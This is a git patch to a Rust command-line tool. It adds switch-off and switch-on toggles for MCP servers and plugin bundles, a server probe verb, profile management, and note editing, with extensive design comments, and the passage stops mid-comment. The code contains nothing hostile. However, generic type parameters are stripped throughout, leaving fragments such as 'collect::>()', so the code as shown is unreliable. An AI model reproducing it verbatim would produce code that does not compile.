148f600e87b3fa1dcbf079135ce952f6185b2456 Mon Sep 17 00:00:00 2001 From: aakashpawar1999 Date: Sun, 30 Aug 2026 00:19:07 +0530 Subject: [PATCH 06/17] =?UTF-8?q?chore(develop):=20An=20MCP=20server=20and?= =?UTF-8?q?=20a=20plugin=20bundle=20are=20switched=20off=20with=E2=80=A6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Task: US-IO-CLI-0.30.0-T04 --- src/app.rs | 10 +- src/main.rs | 607 +++++++++++++++++++++++++++++++++++++-- src/manage.rs | 72 ++++- src/pluginview.rs | 25 ++ src/servers.rs | 246 ++++++++++++++-- tests/plugins.rs | 110 +++++++ tests/servers_enabled.rs | 422 ++++++++++++++++++++++++++- 7 files changed, 1442 insertions(+), 50 deletions(-) diff --git a/src/app.rs b/src/app.rs index df3637a..4107635 100644 --- a/src/app.rs +++ b/src/app.rs @@ -2340,7 +2340,15 @@ pub fn server_value(key: &str, typed: &str) -> String { let typed = typed.trim(); match key { "args" => crate::edit::array(&typed.split_whitespace().collect::>()), - "timeout_secs" | "env" | "headers" => typed.to_string(), + // `enabled` joins these in 0.30.0 because `servers::KEYS` admitted it, and + // `KEYS` is what the "change one setting" picker offers. It is a TOML + // boolean: quoting it writes `enabled = "false"`, which io-harness refuses, + // so `configure::write`'s read-back rolls the whole edit off and the + // operator is told their toggle is broken. It fails closed, which is why + // nothing was lost — but a surface that advertises a key it cannot write is + // the 0.19.0 advertised-but-inert trap, and this is the one line between + // them. + "timeout_secs" | "enabled" | "env" | "headers" => typed.to_string(), _ => crate::servers::quoted(typed), } } diff --git a/src/main.rs b/src/main.rs index d45ee49..031ed33 100644 --- a/src/main.rs +++ b/src/main.rs @@ -208,7 +208,7 @@ async fn run(report: &mut Vec) -> Result { } let mut tokens = vec![surface.to_string()]; tokens.extend(rest.iter().cloned()); - return manage_main(&root, &config, &tokens); + return manage_main(&root, &config, &tokens).await; } // A session draws, so it needs a terminal to draw on, and saying so is better @@ -1632,6 +1632,11 @@ async fn loop_over Result>( .to_string(), ), Some(at) => { + // Read once, here, and carried on the + // `Pick`. The label and the value the + // handler writes come from this one + // reading, so they cannot disagree. + let on = server.enabled; descended = Some(( Picker::new( format!("{}?", server.id), @@ -1642,11 +1647,28 @@ async fn loop_over Result>( "change one setting", io_cli::servers::KEYS.join(", "), ), + // **The reversible verb, beside + // the one that is not.** Removing + // takes the entry and everything + // the operator typed into it; + // this changes one word and + // leaves the server configured, + // listed, and one keystroke from + // coming back. + Row::with_detail( + if on { + "switch it off" + } else { + "switch it back on" + }, + io_cli::servers::OLDER_BINARY, + ), ], ), Pick::McpRemove { id: server.id.clone(), at, + enabled: on, }, )); } @@ -1670,7 +1692,53 @@ async fn loop_over Result>( // Row 2 is the edit verb, and it descends rather than // acting: which key is half the decision, and the other // half is a value only the operator can type. - Pick::McpRemove { id, at } => { + Pick::McpRemove { id, at, enabled } => { + // Row 3 — the toggle. `servers::switch` is the same + // function `io mcp disable ` reaches through + // `manage::plan`, so the two doors write identical + // bytes and neither is the real one. `!*enabled` is + // the state read when the row was drawn, never a + // second reading of the file. + if index == 3 { + let edit = io_cli::servers::switch(at, !*enabled); + match io_cli::configure::write(session.root(), at.scope, &[edit]) { + Ok(()) => { + match io_cli::configure::reload(session.root()) { + Ok((fresh, stored)) => { + capabilities = + io_cli::contract::Capabilities::stored( + stored.as_ref(), + ); + config = fresh; + } + Err(error) => app.record( + Tone::Error, + format!( + "{id} was switched but the configuration \ + would not read back: {error}" + ), + ), + } + app.record( + Tone::Success, + format!( + "{id} is {}; it is still configured, and the \ + change is in force from the next turn", + if *enabled { "switched off" } else { "on again" }, + ), + ); + // `record` and never `say`: this is the + // half an operator has to still be able to + // read, and the footer is one slot the next + // keystroke takes back. + app.record( + Tone::Muted, + io_cli::servers::OLDER_BINARY.to_string(), + ); + } + Err(refusal) => app.record(Tone::Refused, refusal), + } + } if index == 2 { descended = Some(( Picker::new( @@ -1760,7 +1828,63 @@ async fn loop_over Result>( enabled, action_at, } => { - // Every row but one is a fact to read. + // Every row but the last two is a fact to read. The two + // that act are the removal at `action_at` and the + // toggle immediately after it. + // + // **The toggle acts here rather than descending**, and + // that asymmetry with the removal beside it is + // deliberate: removing takes the operator's entry and + // everything they typed into it, and this changes one + // word that the same row switches straight back. A + // confirmation is owed to an act that cannot be undone + // in a keystroke; asking for one here would be asking + // twice for something reversible. + if index == *action_at + 1 { + match io_cli::pluginview::declared_at(session.root(), bundle) { + Some((scope, at)) => { + let edit = if *enabled { + io_cli::pluginview::disable(at) + } else { + io_cli::pluginview::enable(at) + }; + match io_cli::configure::write( + session.root(), + scope, + &[edit], + ) { + Ok(()) => { + app.record( + Tone::Success, + format!( + "{id} is {}; its entry and its directory \ + are both untouched, and the change is in \ + force from the next turn", + if *enabled { + "switched off" + } else { + "on again" + }, + ), + ); + app.record( + Tone::Muted, + io_cli::pluginview::OLDER_BINARY.to_string(), + ); + } + Err(refusal) => app.record(Tone::Refused, refusal), + } + } + None => app.record( + Tone::Refused, + format!( + "no `[[plugin]]` entry in any scope names {}; \ + nothing was switched", + bundle.display() + ), + ), + } + } if index == *action_at { // **One act, one wording, and the flag decides it // once.** The row this descends from already says @@ -2064,6 +2188,22 @@ async fn loop_over Result>( .to_string(), "removes its `[[plugin]]` entry".to_string(), )); + // **The reversible verb, beside the one that is + // not**, at `action_at + 1`. Removing takes the + // entry; this changes one word and leaves the + // bundle declared, listed under its own mark, and + // one keystroke from coming back. Pushed after + // `action_at` was taken, so the removal's index is + // still the length of what was already there. + rows.push(Row::with_detail( + if plugin.enabled { + "switch it off" + } else { + "switch it back on" + } + .to_string(), + io_cli::pluginview::OLDER_BINARY.to_string(), + )); descended = Some(( Picker::new(plugin.id.clone(), rows), Pick::PluginEntry { @@ -3263,10 +3403,37 @@ async fn loop_over Result>( // nothing to open: the file is markdown an operator // edits in their own editor, and `/remember` is the // one writer this product gives it. - Some(io_cli::commands::Held::File(file)) => app.record( - Tone::Muted, - io_cli::commands::instruction_said(file, &app.theme.glyphs), - ), + Some(io_cli::commands::Held::File(file)) => { + app.record( + Tone::Muted, + io_cli::commands::instruction_said(file, &app.theme.glyphs), + ); + // **The file's own bullets, addressable at last.** + // Through 0.29.0 this row printed a sentence and + // stopped, with a comment saying there was nothing + // to open because the file is markdown an operator + // edits elsewhere and `/remember` is the one writer + // this product gives it. That was true and it was + // half a surface: a list this interface can grow is + // a list it should be able to prune. + let notes = io_cli::memory::notes(session.root(), file.scope); + if notes.is_empty() { + app.record( + Tone::Muted, + "it holds no bullets, so there is nothing here to \ + change; `/remember` writes one" + .to_string(), + ); + } else { + descended = Some(( + Picker::new( + io_cli::memory::file_name(file.scope).to_string(), + io_cli::commands::note_rows(¬es), + ), + Pick::Instruction(notes), + )); + } + } // A note has two verbs on it and a picker has one // Enter, so the row descends into them — the same // replace-in-place `Pick::Complete` uses, and the @@ -3296,6 +3463,107 @@ async fn loop_over Result>( // `io_cli::commands`, so what an outcome is called is a // decision a test can stand on rather than a string in a // file nothing links. + Pick::Instruction(notes) => { + if let Some(note) = notes.get(index) { + // **The note's own text goes into the composer.** + // Editing needs typed input and this interface has + // exactly one place to type; putting the current + // text there means "replace it" starts from what is + // there rather than from nothing, which is the + // difference between editing a note and retyping + // it. `/remember` already establishes the order — + // type the line, then pick the file. + app.composer.set(¬e.text); + let carried = note.carries(); + descended = Some(( + Picker::new( + format!("line {}?", note.numbered()), + vec![ + Row::new(io_cli::store::LEAVE_IT.to_string()), + Row::with_detail( + "replace it with what is in the prompt".to_string(), + "the line's indent and its `-` are the file's and \ + are not touched" + .to_string(), + ), + Row::with_detail( + "forget it".to_string(), + if carried == 0 { + "removes this line and leaves every other \ + byte of the file alone" + .to_string() + } else { + // The `import` shape, said out + // loud on the screen where the + // operator commits to it. + format!( + "removes this line only; the {carried} \ + line{} under it stay, and stay in every \ + prompt", + if carried == 1 { "" } else { "s" }, + ) + }, + ), + ], + ), + Pick::InstructionVerb(note.clone()), + )); + } + } + Pick::InstructionVerb(note) => { + let root = session.root().to_path_buf(); + if index == 1 { + let replacement = app.composer.text(); + match io_cli::memory::amend(&root, note, &replacement) { + Ok(path) => { + app.composer.clear(); + app.record( + Tone::Success, + format!( + "line {} of {} is replaced; it is in force from \ + the next turn", + note.numbered(), + path.display(), + ), + ); + } + Err(refusal) => app.record(Tone::Refused, refusal), + } + } + if index == 2 { + match io_cli::memory::forget(&root, note) { + Ok(path) => app.record( + Tone::Success, + format!( + "line {} of {} is gone; every other byte of the file \ + is unchanged", + note.numbered(), + path.display(), + ), + ), + Err(refusal) => app.record(Tone::Refused, refusal), + } + } + } + // Index 0 is `store::LEAVE_IT` and does nothing, asserted on + // the index rather than the label everywhere this shape is + // used in the product. + Pick::Unforget { key, restore } => { + if io_cli::store::acts(index) { + let root = session.root().to_path_buf(); + match io_cli::recall::unforget(&store, &root, *restore) { + Ok(keys) => { + let (tone, said) = + io_cli::commands::unforgotten_said(key, &keys); + app.record(tone, said); + } + Err(error) => app.record( + Tone::Error, + format!("{key} was not put back: {error}"), + ), + } + } + } Pick::Remembered { scope, key, verbs } => { if let Some(verb) = verbs.get(index) { let root = session.root().to_path_buf(); @@ -3326,6 +3594,51 @@ async fn loop_over Result>( &app.theme.glyphs, ); app.record(tone, said); + // **The restore id is spent here or + // it is spent nowhere.** + // `forgotten_said` names the run + // holding the way back, and through + // 0.29.0 that sentence was the end + // of it: the operator was told a way + // back existed and handed nothing to + // take it with, while + // `recall::unforget` sat public, + // tested and called by no keystroke. + // + // Offered rather than taken — they + // asked to forget it — and + // `store::acts` decides it the way + // it decides every confirmation in + // this product: row 0 declines. + if let io_cli::recall::Forgotten::Removed { + restore, + } = outcome + { + descended = Some(( + Picker::new( + format!("{key} is withdrawn"), + vec![ + Row::with_detail( + io_cli::store::LEAVE_IT + .to_string(), + "the withdrawal stands" + .to_string(), + ), + Row::with_detail( + "put it back".to_string(), + format!( + "restores it from run \ + {restore}'s restore point" + ), + ), + ], + ), + Pick::Unforget { + key: key.clone(), + restore, + }, + )); + } } Err(error) => app.record( Tone::Error, @@ -4428,15 +4741,19 @@ async fn loop_over Result>( Pick::Provider { add_at }, )); } - Action::Profile => { + Action::Profile(io_cli::commands::ProfileVerb::List) => { let names = io_cli::configure::profiles(&config); if names.is_empty() { - // The "not configured" shape again: an absent section is - // not an error, and `[profile.]` is io-harness's - // own spelling rather than something to explain here. + // **An empty list is now an offer rather than a full + // stop.** An absent section is not an error, and + // `[profile.]` is io-harness's own spelling — but + // until 0.30.0 this sentence was the whole of the surface + // for the operator who had never written one, which is + // exactly the operator a create verb is for. app.record( Tone::Muted, - "this configuration declares no `[profile.]` sections", + "this configuration declares no `[profile.]` sections; \ + `/profile create ` writes one", ); } else { let rows: Vec = @@ -4444,6 +4761,175 @@ async fn loop_over Result>( picker = Some((Picker::new("Which profile?", rows), Pick::Profile(names))); } } + Action::Profile(io_cli::commands::ProfileVerb::Create(name)) => { + match io_cli::configure::create_profile(&name) { + Err(refusal) => app.record(Tone::Refused, refusal), + Ok(edit) => { + // **User scope, and stated.** A profile has no key + // already deciding it — that is what makes it new — so + // the scope rule's "user scope when no file names it" + // arm is the one that applies. It is also the only + // honest default: a project `io.toml` is committed, and + // writing somebody's personal profile into a shared file + // is a decision they did not make. + let scope = io_harness::config::Scope::User; + match io_cli::configure::write(session.root(), scope, &[edit]) { + Err(refusal) => app.record(Tone::Refused, refusal), + Ok(()) => { + match io_cli::configure::reload(session.root()) { + Ok((fresh, stored)) => { + capabilities = io_cli::contract::Capabilities::stored( + stored.as_ref(), + ); + config = fresh; + } + Err(error) => app.record(Tone::Error, error), + } + app.record( + Tone::Success, + format!( + "`[profile.{}]` is written to the {} file; it is empty \ + until `/config --scope user` puts keys in it, and \ + `/profile` switches to it", + name.trim(), + io_cli::configure::Decided::File { + scope, + path: Default::default(), + } + .word() + ), + ); + } + } + } + } + } + Action::Profile(io_cli::commands::ProfileVerb::Remove(name)) => { + let name = name.trim().to_string(); + if name.is_empty() { + app.record( + Tone::Refused, + "`/profile remove` needs the name of a profile".to_string(), + ); + } else { + // **Removed from the file that declares it**, found by + // reading each source rather than assumed to be the user + // scope — a profile may perfectly well live in a project + // file, and removing it from somewhere else would report a + // successful write that removed nothing. Highest + // precedence first, which is the order `Config` layers. + let found = config.sources().iter().rev().find_map(|(scope, path)| { + let text = std::fs::read_to_string(path).ok()?; + io_cli::configure::remove_profile(&text, &name) + .ok() + .map(|edits| (*scope, edits)) + }); + match found { + None => app.record( + Tone::Refused, + format!( + "no configuration file in force declares `[profile.{name}]`; \ + the ones that are declared are {}", + match io_cli::configure::profiles(&config).as_slice() { + [] => "none at all".to_string(), + names => names + .iter() + .map(|found| format!("`{found}`")) + .collect::>() + .join(", "), + } + ), + ), + Some((scope, edits)) => { + let headers = edits.len(); + match io_cli::configure::write(session.root(), scope, &edits) { + Err(refusal) => app.record(Tone::Refused, refusal), + Ok(()) => { + match io_cli::configure::reload(session.root()) { + Ok((fresh, stored)) => { + capabilities = + io_cli::contract::Capabilities::stored( + stored.as_ref(), + ); + config = fresh; + } + Err(error) => app.record(Tone::Error, error), + } + // The header count, because a profile with + // sub-tables is more than one section and an + // operator who wrote `[profile.x.run]` should + // see that it went too. + app.record( + Tone::Success, + format!( + "`[profile.{name}]` is removed from the {} file \ + ({headers} section{}); every other byte of it is \ + unchanged", + io_cli::configure::Decided::File { + scope, + path: Default::default(), + } + .word(), + if headers == 1 { "" } else { "s" }, + ), + ); + if profile.as_deref() == Some(name.as_str()) { + // The overlay in force was this + // profile's. Leaving the name set would + // put a profile that no longer exists on + // the status line and fail at the next + // turn boundary. + profile = None; + app.record( + Tone::Muted, + "it was the profile in force, so this session is \ + back to no profile" + .to_string(), + ); + } + } + } + } + } + } + } + Action::Profile(io_cli::commands::ProfileVerb::Clear) => { + if profile.is_none() { + app.record(Tone::Muted, "no profile is in force".to_string()); + } else { + // **Nothing is written, because nothing was.** A switch is + // a session overlay; clearing it is re-discovering the + // files without one, which is what the next turn boundary + // would have done anyway had the name not been kept. + match io_cli::configure::reload(session.root()) { + Ok((fresh, stored)) => { + capabilities = + io_cli::contract::Capabilities::stored(stored.as_ref()); + config = fresh; + profile = None; + app.record( + Tone::Success, + "no profile is in force from the next turn; nothing was \ + written" + .to_string(), + ); + } + Err(error) => app.record(Tone::Error, error), + } + } + } + Action::Profile(io_cli::commands::ProfileVerb::Unknown(word)) => { + // Refused by name and never guessed at, which is `/effort`'s + // rule for the same reason: choosing the nearest verb here + // would remove a profile the operator did not name. + app.record( + Tone::Refused, + format!( + "`{word}` is not something `/profile` does; the verbs are `create`, \ + `remove` and `clear`, and `/profile` on its own switches" + ), + ); + } Action::Config(None) => { // **What the routing rules say, and where they will not fire**, // said on the surface that edits them. `/config` is where an @@ -4657,7 +5143,23 @@ async fn loop_over Result>( // fifth `contract::session` call, which `tests/contract.rs` // counts and fails at five. It is the same reason `/compact` // reads `opening.compaction`. - let remembered = io_cli::recall::view(&store, &root, &opening, None); + // **The run whose trace to read, and through 0.29.0 this was + // `None`.** `recall::view` has always taken an `Option` + // and the only caller in this file never named a run, so + // `View::trace` was empty in production and the evictions, pin + // refusals and recalls io-harness records as `ContextEvent` + // rows — the three that emit no `EventKind` at all, and so + // have no other witness anywhere — had never once reached an + // operator. `recall::trace`, `kind_label`, `Happened` and + // `Noted` were all public, all tested, and all unreachable + // behind this one argument. + // + // The session's own last turn, which is the anchor `/undo` and + // `/export` already take: not a guess about which run was + // meant, and `None` before the first turn, which is the honest + // empty rather than somebody else's history. + let ran = last_run(&session, &store).map(|turn| turn.run_id); + let remembered = io_cli::recall::view(&store, &root, &opening, ran); // A store that will not answer loses the second list and // keeps the first. The two halves have nothing to do with // each other — one is markdown on disk — and dropping the @@ -4668,6 +5170,9 @@ async fn loop_over Result>( for note in io_cli::commands::memory_notes(view, &app.theme.glyphs) { app.record(Tone::Muted, note); } + for note in io_cli::commands::trace_notes(view, &app.theme.glyphs) { + app.record(Tone::Muted, note); + } (view.entries.clone(), view.draws_cut) } Err(error) => { @@ -7463,6 +7968,14 @@ enum Pick { McpRemove { id: String, at: io_cli::servers::At, + /// Whether the file currently lets this server start. + /// + /// Carried from the row the operator chose, so the toggle's **label** and + /// the **value it writes** are decided once, from one reading. Working the + /// state out again in the handler would be a second reading of a file that + /// may have changed in between, and the two could disagree — offering + /// "switch it off" and then writing `true`. + enabled: bool, }, /// One link of the provider chain, and where it is declared. `first` decides /// whether promoting it is offered at all: a control that is drawn and does @@ -7740,7 +8253,7 @@ enum Pick { unset_at: usize, elsewhere_at: usize, }, - /// One bundle's contributions, and the one thing that can be done about it. + /// One bundle's contributions, and the two things that can be done about it. /// /// `bundle` is the resolved directory, which is the only thing a row on screen /// and an entry in a file genuinely share — `Config::plugins()` reports neither @@ -7748,7 +8261,11 @@ enum Pick { /// is what `pluginview::declared_at` matches on to find the entry. /// /// `action_at` is where the removal row sits, recorded by the code that built - /// the rows rather than recomputed here. + /// the rows rather than recomputed here. **Since 0.30.0 the toggle sits + /// immediately after it, at `action_at + 1`**, and it is pushed *after* + /// `action_at` is taken — so the removal's index stays the length of what was + /// already there, which is what makes it impossible to get wrong. The two act; + /// every row before them is a fact to read. /// /// `enabled` is `pluginview::Listed::enabled`, carried so the confirmation /// below words the act the same way the row that opened it did. A bundle @@ -7837,6 +8354,29 @@ enum Pick { key: String, verbs: Vec, }, + /// One instruction file's bullets, in the order they sit in the file. + /// + /// The `Note`s are carried whole rather than re-read on the next keystroke, + /// because a note carries the text it was drawn from and `memory::amend` and + /// `memory::forget` compare that against what is on the line now. Re-reading + /// here would refresh the very staleness they exist to catch. + Instruction(Vec), + /// The two verbs on one note, and the note they act on. + /// + /// A picker has one Enter and a note has two verbs, so the row descends — the + /// same shape `Pick::Remembered` takes for the agent's own memory beside it. + InstructionVerb(io_cli::memory::Note), + /// The way back out of a withdrawal, held between the keystroke that made it + /// and the one that may take it. + /// + /// `restore` is `recall::forget`'s own answer and is never re-derived here: + /// that function's note names the two other run ids that look right and says + /// what each of them would restore instead, which is a different set of + /// entries and a silent one. + Unforget { + key: String, + restore: i64, + }, } /// The picker that asks which file a `key = value` write goes into. @@ -7862,7 +8402,12 @@ enum Pick { /// Every decision is `crate::manage`'s. This function chooses no scope, spells no /// refusal and builds no edit — it prints what the library returned and writes /// what the library planned, so this arm and the slash form cannot disagree. -fn manage_main( +// **Async since 0.30.0, and only because of `probe`.** Every other verb here reads +// or writes a file. A probe starts somebody's server, completes the MCP handshake +// and asks it for its tools, which is `io_harness::probe_mcp` and is async — so the +// door is async rather than blocking on a runtime of its own inside a program that +// already has one. +async fn manage_main( root: &std::path::Path, config: &io_harness::config::Config, tokens: &[String], @@ -7985,6 +8530,20 @@ fn manage_main( ); } } + // **The probe runs on the door, because `plan` answers `None` for it.** It + // changes no configuration file — there is no `Edit` for "go and look" — so + // the act lives in `servers::probe`, which both doors call, and the sentence + // is `servers::probed`'s, so neither door words an outcome for itself. + // + // It is the one verb here that starts somebody else's program. io-harness + // checks the policy before it spawns or dials, and shuts the server down on + // every path that started one; io-cli adds no timeout and no retry of its + // own. + io_cli::manage::Request::Mcp(io_cli::manage::McpVerb::Probe { id }) => { + let policy = config.policy().unwrap_or_default(); + let probe = io_cli::servers::probe(config, id, &policy).await?; + println!("{}", io_cli::servers::probed(id, &probe)); + } _ => {} } let Some(plan) = io_cli::manage::plan(root, &request)? else { @@ -8033,6 +8592,22 @@ fn manage_main( io_cli::preflight::line(&io_cli::preflight::check(server, &policy)) ); } + // **What the key costs an older binary, on stderr, after the write.** Same shape + // as the preflight above and for the same reason: a disclosure, not a veto. + // + // The sentence is `servers::OLDER_BINARY` and **not** + // `pluginview::OLDER_BINARY`, because the two costs are opposite and only one of + // them is silent. A `[[plugin]]` carrying `enabled` makes the whole file + // unreadable to an io-harness 0.69.0 binary, which is loud and self-announcing. A + // `[[mcp]]` one is *ignored* by that binary — so the server the operator just + // switched off starts anyway, and nothing anywhere says so. Reusing one string + // for both would put the reassuring half in front of the dangerous case. + if let io_cli::manage::Request::Mcp( + io_cli::manage::McpVerb::Enable { .. } | io_cli::manage::McpVerb::Disable { .. }, + ) = &request + { + eprintln!("{}", io_cli::servers::OLDER_BINARY); + } Ok(io_cli::exec::OK) } diff --git a/src/manage.rs b/src/manage.rs index 1cd3428..c9ba8db 100644 --- a/src/manage.rs +++ b/src/manage.rs @@ -114,6 +114,25 @@ pub enum McpVerb { }, /// Take one entry away, whole. Remove { id: String }, + /// Let io-harness start it again — `enabled = true`. + Enable { id: String }, + /// Stop io-harness starting it — `enabled = false`. + /// + /// **Not [`McpVerb::Remove`], and the pair is deliberate.** A removal takes the + /// `[[mcp]]` entry away and the operator re-types the whole server to get it + /// back; this changes one word and leaves every other key of the entry exactly + /// as it was, so `mcp list` still shows the server and says it is off. Both go + /// through [`crate::servers::switch`], which is also what the `/mcp` keystroke + /// builds — one write, so the two doors cannot produce different bytes. + Disable { id: String }, + /// Start it, once, on its own, and report what happened — + /// [`crate::servers::probe`] over [`io_harness::probe_mcp`]. + /// + /// A read as far as this module is concerned: it writes no configuration file, + /// so [`plan`] answers `None` for it and each door runs the probe itself. It is + /// not a *cheap* read — it spawns or dials a real server — but nothing about + /// the operator's files changes, which is what a `Plan` is about. + Probe { id: String }, } /// What `/plugin` and `io plugin` can be asked to do. @@ -334,6 +353,29 @@ pub fn parse(tokens: &[String]) -> Result { })) } ("mcp", Some("edit")) => mcp_edit(&args).map(Request::Mcp), + // **One arm for the pair, because they are one verb with a value.** Two + // arms would be two spellings of the same three refusals, and the one that + // got less attention is the one that would stop refusing a `--scope`. + // `no_scope` for `remove`'s reason: the entry lives in exactly one file and + // io finds it by name, so a scope typed here would aim a position counted + // in one file's array at another file's. + ("mcp", Some(word @ ("enable" | "disable"))) => { + let named = format!("mcp {word}"); + args.no_scope(&named)?; + args.only(&named, &[])?; + let id = args.one_word(&named, "the id of a configured server")?; + Ok(Request::Mcp(if word == "enable" { + McpVerb::Enable { id } + } else { + McpVerb::Disable { id } + })) + } + ("mcp", Some("probe")) => { + args.only("mcp probe", &[])?; + Ok(Request::Mcp(McpVerb::Probe { + id: args.one_word("mcp probe", "the id of a configured server")?, + })) + } ("mcp", Some("remove")) => { args.no_scope("mcp remove")?; args.only("mcp remove", &[])?; @@ -424,7 +466,7 @@ pub fn parse(tokens: &[String]) -> Result { /// documentation this whole module's refusals exist to save. fn verbs(surface: &str) -> &'static str { match surface { - "mcp" => "`add`, `list`, `get`, `edit` and `remove`", + "mcp" => "`add`, `list`, `get`, `edit`, `enable`, `disable`, `probe` and `remove`", "plugin" => "`add` (also spelled `install`), `list`, `search`, `remove` and `marketplace`", _ => "`get`, `set`, `unset` and `list`", } @@ -580,6 +622,11 @@ pub fn plan(root: &Path, request: &Request) -> Result, String> { disclosure: None, } } + // **The entry is found and then edited, never removed and re-added.** + // `servers::switch` is the one write, shared with the `/mcp` keystroke, so + // whichever door was typed the file gains the same four bytes. + Request::Mcp(McpVerb::Enable { id }) => switched(root, id, true)?, + Request::Mcp(McpVerb::Disable { id }) => switched(root, id, false)?, Request::Plugin(PluginVerb::Add { path, scope }) => { // **Both readings of the word, decided in one place.** A directory // carrying a manifest is a path and everything else is a name looked @@ -677,7 +724,15 @@ pub fn plan(root: &Path, request: &Request) -> Result, String> { // // `search` is here as an ordinary read: it opens the marketplaces on the // disk rather than a configuration file, and it changes neither. - Request::Mcp(McpVerb::List | McpVerb::Get { .. }) + // + // **`mcp probe` is here, and it is the one read in this list that does + // something.** It spawns or dials a real server and shuts it down again — + // but it changes no configuration file, and a `Plan` is about a file. There + // is no `Edit` that could express "go and look", and a `Plan` carrying an + // empty edit list is what `Ok(None)` exists to prevent. So each door runs + // `servers::probe` itself, through the one entry point, and prints + // `servers::probed`'s one sentence. + Request::Mcp(McpVerb::List | McpVerb::Get { .. } | McpVerb::Probe { .. }) | Request::Plugin( PluginVerb::List | PluginVerb::Search { .. } | PluginVerb::Marketplace(_), ) @@ -686,6 +741,19 @@ pub fn plan(root: &Path, request: &Request) -> Result, String> { Ok(Some(plan)) } +/// The plan `mcp enable` and `mcp disable` both come to. +/// +/// One function because they are one write with a different value, and the file is +/// found the same way either way — by id, in whichever scope declares the entry. +fn switched(root: &Path, id: &str, on: bool) -> Result { + let at = declared_server(root, id)?; + Ok(Plan { + scope: at.scope, + edits: vec![crate::servers::switch(&at, on)], + disclosure: None, + }) +} + /// Where the deciding file declares the server called `id`. /// /// The refusal names the id and the verb that lists them, because "not found" over diff --git a/src/pluginview.rs b/src/pluginview.rs index 3002cdb..5058727 100644 --- a/src/pluginview.rs +++ b/src/pluginview.rs @@ -702,6 +702,31 @@ pub fn enable(index: usize) -> crate::edit::Edit { crate::edit::Edit::set(format!("plugin[{index}].enabled"), "true") } +/// The edit that switches the `index`-th declared bundle **off**. +/// +/// [`enable`]'s write with the other value, and everything that function says +/// about one key and no other byte holds here word for word. +/// +/// **It is not [`remove`], and the difference is the whole verb.** A removal takes +/// the `[[plugin]]` entry away: the bundle stops being declared, disappears from +/// [`rows`] entirely, and switching it back on means finding the directory again +/// and typing the path. This leaves the entry exactly where it is with one word +/// changed, so the bundle goes on being listed — under [`DISABLED_MARK`], with +/// "switched off" leading its detail — and the way back on is the same keystroke +/// again. An operator who wanted a bundle *gone* has `remove`; one who wanted it +/// *quiet* had nothing until this. +/// +/// Says [`OLDER_BINARY`] to the operator at the moment of writing, for the reason +/// [`add_off`] does — and that sentence is the `[[plugin]]` one, which is not +/// [`crate::servers::OLDER_BINARY`]. A 0.69.0 binary refuses this whole file; it +/// ignores the same key in an `[[mcp]]` entry and runs the server. +/// +/// `index` is an index into the file's `[[plugin]]` array, with [`remove`]'s own +/// warning: it is not a row number from [`rows`]. +pub fn disable(index: usize) -> crate::edit::Edit { + crate::edit::Edit::set(format!("plugin[{index}].enabled"), "false") +} + /// The last `[[plugin]]` entry of a configuration file, when it was declared off. /// /// **The evidence of what was just written, rather than a second reading of what diff --git a/src/servers.rs b/src/servers.rs index 94ee215..e609b0e 100644 --- a/src/servers.rs +++ b/src/servers.rs @@ -36,32 +36,57 @@ //! bound on what is offered, and the two numbers are drawn as two numbers: one //! replacing the other would answer a question nobody asked. //! -//! # Two verbs this panel does not offer +//! # Disable, and why the write that was refused in 0.29.0 is correct in 0.30.0 //! -//! **Disable — the verb, but no longer the fact.** Through io-harness 0.69.0 this -//! paragraph said `McpServer` was `id`, `transport` and `timeout_secs`, that there -//! was no key for it, and that an `enabled = false` invented here would be -//! accepted by the file and ignored by the harness so the server would start -//! anyway. **io-harness 0.70.0 falsified every clause of that**: `enabled` is a -//! real public field (`mcp.rs:261`) defaulting to true, and it is honoured at the -//! earliest possible point — a disabled server is never spawned, never dialled and -//! never even checked against the policy (`mcp.rs:356`), and `probe_mcp` answers -//! `McpProbe::Disabled` (`mcp.rs:747`). +//! Through io-harness 0.69.0 this paragraph said `McpServer` was `id`, `transport` +//! and `timeout_secs`, that there was no key for it, and that an `enabled = false` +//! invented here would be accepted by the file and ignored by the harness so the +//! server would start anyway. **io-harness 0.70.0 falsified every clause of that**: +//! `enabled` is a real public field (`mcp.rs:261`) defaulting to true, and it is +//! honoured at the earliest possible point — a disabled server is never spawned, +//! never dialled and never even checked against the policy (`mcp.rs:356`), and +//! [`io_harness::probe_mcp`] answers `McpProbe::Disabled` (`mcp.rs:892`). //! -//! So the *state* is read and shown from 0.29.0, on [`Server::enabled`], for the -//! reason [`crate::pluginview`] was given the same treatment in the same release: -//! a capability missing from every listing reads exactly like one nobody ever +//! So 0.29.0 read and drew the *state*, on [`Server::enabled`], for the reason +//! [`crate::pluginview`] was given the same treatment in the same release: a +//! capability missing from every listing reads exactly like one nobody ever //! declared, and an operator whose turns have quietly lost their tools has nowhere -//! to look. **The keystroke that writes it is still not here** — that is 0.30.0's -//! verb, along with the plugin one and the probe — and nothing in this crate puts -//! `enabled` into an `[[mcp]]` table. What reaches this state is a file somebody -//! hand-edited or a repository they cloned, which is exactly the case a listing -//! exists to explain. +//! to look. It shipped **no writer**, and `tests/servers.rs` asserted the refusal — +//! not because the key was unwritable but because half a verb is worse than none: +//! a surface that can switch a server off has to be able to switch it back on, and +//! neither door could. +//! +//! **0.30.0 adds both halves, so the refusal has nothing left to protect.** +//! `enabled` is in [`KEYS`], [`switch`] is the edit both doors build, and what the +//! `KEYS` check was actually guarding is untouched: it still refuses every key +//! [`McpServer`] does not carry. The list gained **one name**, and that is the only +//! safe way to widen it — a check relaxed to accept anything would hand the +//! exemption below a misspelling to write, and there is no later failure to catch +//! one. +//! +//! **What writing it costs an older binary is not what the plugin key costs, and +//! the two sentences are deliberately different.** See [`OLDER_BINARY`] beside +//! [`crate::pluginview::OLDER_BINARY`]: a 0.69.0 binary *refuses the whole file* +//! over `enabled` in a `[[plugin]]`, and *silently ignores it* in an `[[mcp]]` — +//! running a server the operator switched off. One is loud and total, the other is +//! quiet and exactly the failure mode this module exists to close. +//! +//! # One verb this panel still does not offer //! //! **Reconnect**, because there is nothing to cycle: servers are attached per //! turn through `TaskContract::with_mcp`. What an operator means by it is "pick //! up the edit I just made", and that is what the next turn does. //! +//! # A probe is not the observation beside it +//! +//! [`probe`] goes and looks: it spawns or dials the server, completes an MCP +//! handshake and shuts it down again. [`Observed`] does the opposite — it folds +//! events a *run* emitted and asserts nothing that did not happen on its own. So a +//! probe writes nothing into [`Observed`] and takes no `&mut` to one, and +//! [`Reached::NotYet`] and `McpProbe::Unreachable` are rendered in words that +//! cannot be mistaken for each other. "Nobody has called it yet" and "io-cli called +//! it and got 